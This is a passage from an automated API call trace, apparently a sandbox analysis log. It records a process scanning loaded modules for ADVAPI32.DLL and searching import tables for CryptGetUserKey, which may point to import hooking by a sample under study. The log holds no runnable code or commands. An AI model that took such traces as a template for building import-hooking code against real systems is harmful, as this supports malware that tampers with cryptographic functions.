(lpString1="GetSecurityInfo", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="DecryptFileW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="EncryptFileW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="InstallApplication", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="IsTextUnicode", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="SetNamedSecurityInfoW", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="LsaLookupSids", lpString2="CryptGetUserKey") returned 1 [0044.773] lstrcmpiA (lpString1="LsaClose", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="LsaFreeMemory", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="LsaQueryInformationPolicy", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="LsaOpenPolicy", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="DuplicateEncryptionInfoFile", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="RegSetKeyValueW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="CommandLineFromMsiDescriptor", lpString2="CryptGetUserKey") returned -1 [0044.774] lstrcmpiA (lpString1="SaferCloseLevel", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="CreateProcessWithLogonW", lpString2="CryptGetUserKey") returned -1 [0044.774] lstrcmpiA (lpString1="RegSetValueW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="GetUserNameW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="GetNamedSecurityInfoW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SaferGetPolicyInformation", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SaferiIsExecutableFileType", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="LsaLookupNames2", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SaferComputeTokenFromLevel", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SaferRecordEventLogEntry", lpString2="CryptGetUserKey") returned 1 [0044.774] lstrcmpiA (lpString1="SaferGetLevelInformation", lpString2="CryptGetUserKey") returned 1 [0044.774] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.774] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefea30000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefea30000, AllocationBase=0x7fefea30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.774] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.774] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.774] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.774] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.775] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.775] lstrcmpiA (lpString1="DuplicateEncryptionInfoFile", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="RegisterEventSourceW", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="LookupAccountSidW", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="RegSetValueW", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="RegQueryValueA", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="LookupAccountNameW", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="RegEnumKeyA", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="CommandLineFromMsiDescriptor", lpString2="CryptGetUserKey") returned -1 [0044.775] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="DeregisterEventSource", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="InstallApplication", lpString2="CryptGetUserKey") returned 1 [0044.775] lstrcmpiA (lpString1="ReportEventW", lpString2="CryptGetUserKey") returned 1 [0044.775] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.775] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd480000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd480000, AllocationBase=0x7fefd480000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.775] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.775] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.776] lstrcmpiA (lpString1="ole32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.776] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegOpenKeyW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegQueryValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegEnumKeyW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegCreateKeyA", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegSetValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegDeleteKeyW", lpString2="CryptGetUserKey") returned 1 [0044.776] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.776] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa2f0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa2f0000, AllocationBase=0x7fefa2f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.776] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.776] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.776] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.776] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="ADVAPI32.DLL") returned 0 [0044.776] lstrcmpiA (lpString1="RegSetKeyValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegEnumKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegGetValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegCreateKeyW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegEnumValueW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CryptGetUserKey") returned 1 [0044.776] lstrcmpiA (lpString1="RegOpenKeyW", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="EventEnabled", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="TraceMessage", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="EventUnregister", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="EventRegister", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="UnregisterTraceGuids", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="RegisterTraceGuidsW", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="GetTraceEnableFlags", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="GetTraceEnableLevel", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="GetTraceLoggerHandle", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="EventWrite", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="RegCloseKey", lpString2="CryptGetUserKey") returned 1 [0044.777] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="SHELL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="SHLWAPI.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="DUser.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="DUI70.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="IMM32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="ole32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="OLEACC.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="apphelp.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="PROPSYS.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="WININET.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="UxTheme.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="MPR.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="WINMM.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="urlmon.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="wer.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="dwmapi.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] lstrcmpiA (lpString1="VERSION.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.777] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.777] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb690000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb690000, AllocationBase=0x7fefb690000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.777] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.777] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.777] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="UxTheme.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="gdiplus.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.778] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb6e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb6e0000, AllocationBase=0x7fefb6e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.778] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.778] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.778] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="OLEAUT32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="gdiplus.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="ole32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="UxTheme.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="dwmapi.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="DUser.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="OLEACC.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.778] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd640000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefd640000, AllocationBase=0x7fefd640000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.778] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.778] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.778] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] lstrcmpiA (lpString1="MSCTF.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.778] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.779] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff080000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7feff080000, AllocationBase=0x7feff080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.779] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.779] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="IMM32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Security-SDDL-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.779] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefba00000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefba00000, AllocationBase=0x7fefba00000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.779] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.779] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="GDI32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="dwmapi.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="WindowsCodecs.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="WINSTA.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="CRYPTSP.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.779] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefb080000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefb080000, AllocationBase=0x7fefb080000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0044.779] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb60, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb60, ReturnLength=0x0) returned 0x0 [0044.779] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f110 [0044.779] lstrcmpiA (lpString1="msvcrt.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.779] lstrcmpiA (lpString1="ntdll.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="SETUPAPI.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] lstrcmpiA (lpString1="USER32.dll", lpString2="ADVAPI32.DLL") returned 1 [0044.780] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f110 | out: hHeap=0x9770000) returned 1 [0044.780] VirtualQueryEx (in: 